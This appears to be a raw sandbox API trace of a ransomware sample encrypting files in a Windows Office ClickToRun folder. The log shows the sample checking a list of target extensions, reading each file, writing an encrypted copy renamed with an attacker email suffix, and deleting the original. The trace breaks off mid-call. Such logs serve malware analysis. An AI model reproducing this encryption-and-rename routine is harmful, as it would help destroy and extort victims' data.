[0293.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0293.366] lstrlenW (lpString=".zip") returned 4 [0293.366] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.366] lstrlenW (lpString=".rar") returned 4 [0293.366] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.366] lstrlenW (lpString=".bz2") returned 4 [0293.366] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.366] lstrlenW (lpString=".7z") returned 3 [0293.366] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0293.366] lstrlenW (lpString=".dbf") returned 4 [0293.366] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0293.366] lstrlenW (lpString=".1cd") returned 4 [0293.366] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0293.366] lstrlenW (lpString=".jpg") returned 4 [0293.366] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.367] lstrcmpiW (lpString1=".hash", lpString2=".com") returned 1 [0293.367] lstrlenW (lpString="i640.hash") returned 9 [0293.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0293.367] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=102) returned 1 [0293.367] CloseHandle (hObject=0x10c4) returned 1 [0293.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20 [0293.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0293.367] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.368] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0293.368] GetLastError () returned 0x0 [0293.368] ReadFile (in: hFile=0x10c4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x66, lpOverlapped=0x0) returned 1 [0293.606] WriteFile (in: hFile=0x10a0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x70, lpOverlapped=0x0) returned 1 [0293.607] ReadFile (in: hFile=0x10c4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.607] WriteFile (in: hFile=0x10a0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xe6, lpOverlapped=0x0) returned 1 [0293.607] SetEndOfFile (hFile=0x10a0) returned 1 [0293.608] CloseHandle (hObject=0x10a0) returned 1 [0293.608] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.608] SetEndOfFile (hFile=0x10c4) returned 1 [0293.608] CloseHandle (hObject=0x10c4) returned 1 [0293.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0293.609] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 1 [0293.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0293.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0293.609] lstrlenW (lpString=".doc") returned 4 [0293.609] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0293.609] lstrlenW (lpString=".docx") returned 5 [0293.609] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0293.609] lstrlenW (lpString=".pdf") returned 4 [0293.609] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0293.609] lstrlenW (lpString=".xls") returned 4 [0293.609] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0293.609] lstrlenW (lpString=".xlsx") returned 5 [0293.609] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0293.609] lstrlenW (lpString=".ppt") returned 4 [0293.609] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0293.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0293.609] lstrlenW (lpString=".zip") returned 4 [0293.609] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0293.609] lstrlenW (lpString=".rar") returned 4 [0293.609] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0293.609] lstrlenW (lpString=".bz2") returned 4 [0293.609] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0293.609] lstrlenW (lpString=".7z") returned 3 [0293.609] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0293.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0293.609] lstrlenW (lpString=".dbf") returned 4 [0293.609] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0293.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0293.609] lstrlenW (lpString=".1cd") returned 4 [0293.609] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0293.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0293.610] lstrlenW (lpString=".jpg") returned 4 [0293.610] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0293.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0293.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0293.610] lstrlenW (lpString=".doc") returned 4 [0293.610] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0293.610] lstrlenW (lpString=".docx") returned 5 [0293.610] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0293.610] lstrlenW (lpString=".pdf") returned 4 [0293.610] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0293.610] lstrlenW (lpString=".xls") returned 4 [0293.610] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0293.610] lstrlenW (lpString=".xlsx") returned 5 [0293.610] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0293.610] lstrlenW (lpString=".ppt") returned 4 [0293.610] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0293.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0293.610] lstrlenW (lpString=".zip") returned 4 [0293.610] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0293.610] lstrlenW (lpString=".rar") returned 4 [0293.610] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0293.610] lstrlenW (lpString=".bz2") returned 4 [0293.610] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0293.610] lstrlenW (lpString=".7z") returned 3 [0293.610] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0293.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0293.610] lstrlenW (lpString=".dbf") returned 4 [0293.610] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0293.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0293.610] lstrlenW (lpString=".1cd") returned 4 [0293.610] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0293.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0293.610] lstrlenW (lpString=".jpg") returned 4 [0293.611] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0293.611] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0293.611] lstrlenW (lpString="msointl30.en-us.dll") returned 19 [0293.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0293.611] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=61024) returned 1 [0293.611] CloseHandle (hObject=0x10c4) returned 1 [0293.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 0x20 [0293.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0293.611] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.612] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0293.612] GetLastError () returned 0x0 [0293.612] ReadFile (in: hFile=0x10c4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0xee60, lpOverlapped=0x0) returned 1 [0293.675] WriteFile (in: hFile=0x10a0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xee70, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xee70, lpOverlapped=0x0) returned 1 [0293.715] ReadFile (in: hFile=0x10c4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.715] WriteFile (in: hFile=0x10a0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xfa, lpOverlapped=0x0) returned 1 [0293.715] SetEndOfFile (hFile=0x10a0) returned 1 [0293.715] CloseHandle (hObject=0x10a0) returned 1 [0293.715] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.715] SetEndOfFile (hFile=0x10c4) returned 1 [0293.716] CloseHandle (hObject=0x10c4) returned 1 [0293.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0293.717] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 1 [0293.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0293.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0293.717] lstrlenW (lpString=".doc") returned 4 [0293.717] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.717] lstrlenW (lpString=".docx") returned 5 [0293.717] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0293.717] lstrlenW (lpString=".pdf") returned 4 [0293.717] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.717] lstrlenW (lpString=".xls") returned 4 [0293.717] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.718] lstrlenW (lpString=".xlsx") returned 5 [0293.718] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0293.718] lstrlenW (lpString=".ppt") returned 4 [0293.718] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0293.718] lstrlenW (lpString=".zip") returned 4 [0293.718] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.718] lstrlenW (lpString=".rar") returned 4 [0293.718] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.718] lstrlenW (lpString=".bz2") returned 4 [0293.718] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.718] lstrlenW (lpString=".7z") returned 3 [0293.718] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0293.718] lstrlenW (lpString=".dbf") returned 4 [0293.718] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0293.718] lstrlenW (lpString=".1cd") returned 4 [0293.718] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0293.718] lstrlenW (lpString=".jpg") returned 4 [0293.718] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0293.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0293.718] lstrlenW (lpString=".doc") returned 4 [0293.718] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.718] lstrlenW (lpString=".docx") returned 5 [0293.718] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0293.719] lstrlenW (lpString=".pdf") returned 4 [0293.719] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.719] lstrlenW (lpString=".xls") returned 4 [0293.719] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.719] lstrlenW (lpString=".xlsx") returned 5 [0293.719] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0293.719] lstrlenW (lpString=".ppt") returned 4 [0293.719] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0293.719] lstrlenW (lpString=".zip") returned 4 [0293.719] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.719] lstrlenW (lpString=".rar") returned 4 [0293.719] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.719] lstrlenW (lpString=".bz2") returned 4 [0293.719] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.719] lstrlenW (lpString=".7z") returned 3 [0293.719] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0293.719] lstrlenW (lpString=".dbf") returned 4 [0293.719] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0293.719] lstrlenW (lpString=".1cd") returned 4 [0293.719] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0293.719] lstrlenW (lpString=".jpg") returned 4 [0293.719] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.720] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0293.720] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0293.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0293.720] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=2776664) returned 1 [0293.720] CloseHandle (hObject=0x10c4) returned 1 [0293.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0x20 [0293.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.721] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0293.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0293.722] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[bitcharity@protonmail.com].com"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1 [0293.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0293.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0293.722] lstrlenW (lpString=".doc") returned 4 [0293.722] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0293.722] lstrlenW (lpString=".docx") returned 5 [0293.722] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0293.723] lstrlenW (lpString=".pdf") returned 4 [0293.723] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0293.723] lstrlenW (lpString=".xls") returned 4 [0293.723] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0293.723] lstrlenW (lpString=".xlsx") returned 5 [0293.723] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0293.723] lstrlenW (lpString=".ppt") returned 4 [0293.723] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0293.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0293.723] lstrlenW (lpString=".zip") returned 4 [0293.723] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0293.723] lstrlenW (lpString=".rar") returned 4 [0293.723] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0293.723] lstrlenW (lpString=".bz2") returned 4 [0293.723] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0293.723] lstrlenW (lpString=".7z") returned 3 [0293.723] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0293.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0293.723] lstrlenW (lpString=".dbf") returned 4 [0293.723] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0293.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0293.723] lstrlenW (lpString=".1cd") returned 4 [0293.723] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0293.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0293.723] lstrlenW (lpString=".jpg") returned 4 [0293.723] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0293.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0293.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0293.724] lstrlenW (lpString=".doc") returned 4 [0293.724] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0293.724] lstrlenW (lpString=".docx") returned 5 [0293.724] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0293.724] lstrlenW (lpString=".pdf") returned 4 [0293.724] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0293.724] lstrlenW (lpString=".xls") returned 4 [0293.724] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0293.724] lstrlenW (lpString=".xlsx") returned 5 [0293.724] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0293.724] lstrlenW (lpString=".ppt") returned 4 [0293.724] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0293.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0293.724] lstrlenW (lpString=".zip") returned 4 [0293.724] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0293.724] lstrlenW (lpString=".rar") returned 4 [0293.724] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0293.724] lstrlenW (lpString=".bz2") returned 4 [0293.724] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0293.724] lstrlenW (lpString=".7z") returned 3 [0293.724] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0293.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0293.724] lstrlenW (lpString=".dbf") returned 4 [0293.724] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0293.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0293.724] lstrlenW (lpString=".1cd") returned 4 [0293.724] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0293.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0293.724] lstrlenW (lpString=".jpg") returned 4 [0293.724] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0293.725] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0293.725] lstrlenW (lpString="StreamServer.dll") returned 16 [0293.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0293.725] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=1053784) returned 1 [0293.725] CloseHandle (hObject=0x10c4) returned 1 [0293.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20 [0293.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), 